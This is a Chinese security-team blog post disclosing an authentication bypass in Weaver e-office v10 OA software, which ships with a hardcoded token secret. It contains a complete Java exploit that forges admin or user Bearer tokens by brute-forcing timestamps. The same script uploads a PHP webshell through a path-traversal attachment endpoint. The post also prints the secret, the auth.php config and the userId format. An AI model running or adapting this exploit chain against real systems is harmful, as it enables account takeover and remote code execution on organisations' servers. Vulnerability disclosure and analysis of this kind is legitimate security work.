泛微OA v10_20211213_Offline 未授权访问漏洞

文摘   科技   2023-12-04 10:07   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

漏洞版本


泛微OA v10_20211213_Offline


02

漏洞描述

这个漏洞是由于泛微eoffice认证字段的生成中使用了硬编码,并且每个泛微eoffice安装时都会生成相同的硬编码,攻击者这可以通过认证字段的生成方式进行利用,从而伪造用户的登录凭据进行访问;总体来说,和泛微ecology 的任意用户登录漏洞极其类似。


03

漏洞利用

利用条件:存在在线的用户

例如:

假设:管理员已经登录

运行如下脚本,生成token

这里只是爆破了在以当前时间为基准的前15分钟和当前时间后3分钟内管理员登录的token,如果需要爆破更长时间,可以将代码中的

int count1 = 60 * 15 , 15 的值设置大一些.

利用代码如下:

package com.C0lorful.algorithm;
import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.InetSocketAddress;import java.net.Proxy;import java.net.URL;import java.nio.charset.StandardCharsets;import java.security.SecureRandom;import java.util.ArrayList;

public class VulnEoffice {
public static ArrayList<String> generateToken() { ArrayList<String> arrayList = new ArrayList<>();

String tokenSecret = "HLVFscA97YMRRlVyNMvueWIBIITX8Q11"; String tokenAlgo = "SHA-512"; long theTime = System.currentTimeMillis() / 1000;
String type = "access"; String type2 = "refresh"; String userId = "admin"; // 下面是普通用户的 userId // String userId = "WV00000002";
int count1 = 60 * 3; int count2 = 60 * 3;
long beforeTime = theTime - count1; long afterTime = theTime + count2;
MessageDigest digest; try { digest = MessageDigest.getInstance(tokenAlgo); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return null; }
// 爆破之前的 long tempTime = theTime; while (tempTime >= beforeTime) { String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret); String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret); arrayList.add("Bearer " + accessHash);// System.out.println(accessHash);// System.out.println(refreshHash); tempTime = tempTime - 1; }
// 爆破之后的 tempTime = theTime; while (tempTime <= afterTime) { String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret); String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret); arrayList.add("Bearer " + accessHash);// System.out.println("Bearer " + accessHash);// System.out.println("Bearer " + refreshHash); tempTime = tempTime + 1; } return arrayList; }
private static String generateHash(MessageDigest digest, String input) { byte[] hashBytes = digest.digest(input.getBytes()); StringBuilder hexString = new StringBuilder(); for (byte b : hashBytes) { String hex = Integer.toHexString(0xff & b); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); }
public static void vuln(String token) { try { // 创建URL对象 URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/attachment/base64");
// 创建代理对象 Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));
// 打开连接,并设置代理 HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);
// 设置请求方法为POST connection.setRequestMethod("POST"); connection.setRequestProperty("Authorization", token); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 启用输出流 connection.setDoOutput(true); String randomNumber = String.valueOf(getRandomNumber());
String fileName = md5Generate(randomNumber); // 设置请求体内容 String requestBody = "image_file=data:image/php;base64,PD9waHAgcGhwaW5mbygpO2M/Pg==&image_name=../../../../../www/" + fileName; System.out.println("fileName :" + fileName + ".php"); byte[] requestBodyBytes = requestBody.getBytes(StandardCharsets.UTF_8); connection.setRequestProperty("Content-Length", String.valueOf(requestBodyBytes.length)); connection.getOutputStream().write(requestBodyBytes);
// 发送请求并获取响应代码 int responseCode = connection.getResponseCode();
// 读取响应内容 BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; StringBuilder response = new StringBuilder(); while ((line = reader.readLine()) != null) { response.append(line); } reader.close();
// 打印响应内容和响应代码 System.out.println("Response Code: " + responseCode); System.out.println("Response Body: " + response.toString()); connection.disconnect();
if (responseCode == 200) { // 打开连接,并设置代理 HttpURLConnection connection2 = (HttpURLConnection) (new URL("http://172.20.10.5:8010/" + fileName + ".php")).openConnection(); // 设置请求方法为GET connection2.setRequestMethod("GET"); if (connection2.getResponseCode() == 200) { System.out.println("vlun success,the webshell url is: " + "http://172.20.10.5:8010/" + fileName + ".php"); } }
// 关闭连接
} catch (IOException e) { e.printStackTrace(); } }
public static void doGet(String token) { try { // 创建URL对象 URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/customer/contact-record?limit=10&page=1&withComment=1");
// 创建代理对象 Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));
// 打开连接,并设置代理 HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);
// 设置请求方法为GET connection.setRequestMethod("GET"); connection.setRequestProperty("Authorization", token);
// 发送请求并获取响应代码 try { int responseCode = connection.getResponseCode(); if (responseCode == 200) { // 打印响应内容和响应代码 System.out.println("Response Code: " + responseCode); // 读取响应内容 BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; StringBuilder response = new StringBuilder(); while ((line = reader.readLine()) != null) { response.append(line); } System.out.println("Authorization: " + token); System.out.println("Response Body: " + response.toString()); reader.close(); vuln(token);
} // 关闭连接 connection.disconnect();
} catch (Exception e) { e.printStackTrace(); } } catch (IOException e) { e.printStackTrace(); } }
public static String md5Generate(String param) { try { // 获取MD5消息摘要实例 MessageDigest md = MessageDigest.getInstance("MD5");
// 计算输入字符串的MD5哈希值 byte[] hashBytes = md.digest(param.getBytes());
// 将哈希值转换为十六进制字符串 StringBuilder sb = new StringBuilder(); for (byte b : hashBytes) { sb.append(String.format("%02x", b)); } String md5Hash = sb.toString(); // 打印MD5哈希值 System.out.println("MD5 Hash: " + md5Hash); return md5Hash; } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return param; }
public static int getRandomNumber() { SecureRandom secureRandom = new SecureRandom(); int randomNumber = secureRandom.nextInt(); return randomNumber; }
public static void main(String[] args) { ArrayList<String> TokenList = generateToken(); for (String token : TokenList) { doGet(token);
} }}

站点需要有在线用户,所以这里登录一个用户


运行脚本进行利用





运行脚本进行漏洞利用,可以看到burpsuite 上有两个利用的数据包



访问生成的webshell


04

漏洞分析

登录token 的生成代码

eoffice10/server/app/EofficeApp/Auth/Services/AuthService.php

查看用户凭证生成方式



判断登录方式


$this->isMobile())


这里移动端的判断方式比较容易绕过



pc和app 登录后token刷新时间不同

这里的 $mobile_refresh_token_ttl $web_refresh_token_ttl都是从认证配置文件 auth.php读取的

具体路径为:eoffice10/server/config/auth.php

经过多次在不同机器上安装,发现auth.php 配置文件中的键值对是不变的


if ($this->isMobile()) {            $refreshTokenTtl = config("auth.mobile_refresh_token_ttl");        } else {            $refreshTokenTtl = config("auth.web_refresh_token_ttl");        }

mobile_refresh_token_ttl——>10080

web_refresh_token_ttl——>120


return [    "token_secret" => envOverload("TOKEN_SECRET", "HLVFscA97YMRRlVyNMvueWIBIITX8Q11"),    "token_algo" => "sha512",    "login_key_secret" => "56bba8589219c78f982ba9816acefefa9cf7b0ede10c7e289769208d4cc5c2c97863e10e68087adc7c37f65ae0d0f8ffecf214813662cb5e37c438e215473592",    "web_token_ttl" => envOverload("WEB_TOKEN_TTL", 60),    "web_refresh_token_ttl" => envOverload("WEB_REFRESH_TOKEN_TTL", 120),    "mobile_token_ttl" => envOverload("MOBILE_TOKEN_TTL", 1440),    "mobile_refresh_token_ttl" => envOverload("MOBILE_REFRESH_TOKEN_TTL", 10080),    "token_grace_period" => envOverload("TOKEN_GRACE_PERIOD", 2)];


查看generateToken方法



根据上图中代码,可以发现登录的token是通过hash函数生成的


hash($tokenAlgo, $type . $userId . $tokenTime . $tokenSecret, false)


这里的 $tokenAlgo $tokenSecret 也都是从认证配置文件 auth.php读取的,这里的$tokenAlgo和$tokenSecret的值如下:

$tokenAlgo ——> sha512 $tokenSecret ——> HLVFscA97YMRRlVyNMvueWIBIITX8Q11

$type = "access",$tokenTime = time();  所以只需要获取$userId即可


05

获取用户userid

通过创建新用户和查看数据库的用户id号,发现如果是管理员,则userId是admin,如果为非管理员用户,那么userId为WV00000001**,**依次递增

管理员  $userId————>admin

普通用户 $userId————>WV0000000pos


下面这里是连续创建了三个用户,可以看到userId是依次按照顺序递增的



下面代码可以看到新的普通用户的userId的生成方式




通过上述代码,我们可以知道,web 端的token的默认过期时间为60分钟,移动端过期时间为24 小时。

只要拿到了用户登录的时间戳,就可以伪造登录Token,由于用户的默认token 失效时间为60分钟,所以我们可以只爆破以当前时间为基准的前60分钟和后10分钟的Token就能够遍历到网站近乎所有的在线登录用户Token,移动端的用户则可以修改请求头信息伪装为移动端用户。









A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章